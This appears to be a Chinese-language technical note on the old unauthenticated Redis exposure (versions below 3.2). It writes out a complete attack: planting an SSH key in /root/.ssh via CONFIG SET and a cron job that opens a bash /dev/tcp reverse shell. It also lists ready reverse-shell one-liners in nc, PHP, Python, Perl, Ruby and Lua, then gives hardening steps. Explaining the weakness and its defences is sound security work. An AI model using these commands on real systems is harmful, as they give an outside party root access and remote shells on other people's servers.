Linux - Old Redis Security Hole
低版本Redis安全漏洞,标题不知道是否正确 排查出的安全隐患,基本上不会存在了
事件结果
redis被远程登录,所属服务器被获取root权限
事故环境
- 对于低于3.2.0的Redis版本,使用默认配置
- 没有设置密码
- 默认配置中redis会监听 0.0.0.0:6379,接收任意地址的连接
- 默认配置中config命令都没有限制
- 使用root运行redis-server
- 没有正确设置iptables
注:redis 从3.2 开始有protected-mode,如果用默认配置启动只能本机访问,要求需要配置密码或者限定地址。可以避免安全事故发生
攻击方式
目标是获取系统root权限
保存公钥实现免密root登录
- 准备本机公钥
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub ;echo -e "\n\n") > pub.txt
- 将公钥内容保存进redis,由于没有密码又没有限制IP,所以直接就可以登录了。。
cat pub.txt | ./redis-cli -h 192.168.1.1 -x set pubrsa
- 登录redis进行操作
./redis-cli -h 192.168.1.1 #### redis # 设置保存路径 config set dir /root/.ssh # 修改名称 config set dbfilename "authorized_keys" # 保存数据库全部内容到上述文件 save # 退出redis #### linux ssh -i id_rsa root@192.168.1.1 # 即可直接登录
实现root权限的反弹Shell
#### redis
# 添加定时任务,主动向攻击者发起链接
config set dir /var/spool/cron
config set dbfilename root
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.2/9999 0>&1\n\n\n"
save
#### linux
nc -l 9999 -v
# 提示:bash: no job control in this shell
反弹Shell原理介绍
bash -i >& /dev/tcp/192.168.1.21/9999 0>&1
利用linux系统一切皆文件的特性,在服务端执行上述命令,服务端主动向攻击端发起请求(角色关系转换),再通过对输入输出的重定向,使得原来应该是输出结果的地方变成能够输入命令。
命令解析
命令 | 功能 |
---|---|
bash -i | 用交互模式打开bash,类似在终端中运行了python |
>& | > 是将标准输出定向到文件,标准错误会将在终端打印。此处添加 & 是将标准错误,重定向到标准输出 |
/dev/tcp/192.168.1.21/9999 | 打开或者写入文件,相当于向指定IP端口发起一个socket调用,并将某个内容发送过去。正常的使用方式:Server执行 nc -l 9999 -v 监听9999端口,Client执行 echo “test” > 192.168.1.21/9999,Serve |
0>&1 或 0<&1 | 将标准输入重定向到标准输出,此处是把输入定向到攻击端的监听程序。如果没有这个的话,只能在服务端输入命令,在攻击端显示命令和结果 |
实现方式
我们知道,上述的命令是不能通过正常渠道到被攻击机器上执行的,如果能直接登录,还反弹shell干啥。。 所以攻击的关键不是这个命令本身,而是如何通过非正常渠道让这个命令或者这种命令在被攻击端运行,上文提到的redis就是一个媒介。 其他的反弹Shell方式,大致原理都和上面的相同,只不过用不同的方式触发。通常网站或者Web服务上会运行脚本语言,容易被攻击,比如python中使用了eval等
- nc + 管道方式,通常也需要登录
- 攻击端监听两个端口,分别运行
nc -l 1234 -v 和 nc -l 4321 -v
- 服务端运行
nc ip 1234 | /bin/bash | nc ip 4321
- 则可以在攻击端 1234 端口输入命令,在4321端口看到执行结果
- 攻击端监听两个端口,分别运行
- php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
- python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
防御方法
- 清理crontab,.ssh中的各种密钥,使用history排查造成的影响
- 不要用root启动redis
- 添加iptables
- 对redis进行升级
- 修改redis的配置文件
- 禁用危险命令 rename-command FLUSHALL “” ,类似的还有 FLUSHDB CONFIG EVAL 等
- 添加密码 requirepass mypassword
- 端口绑定到固定IP,如 bind 127.0.0.1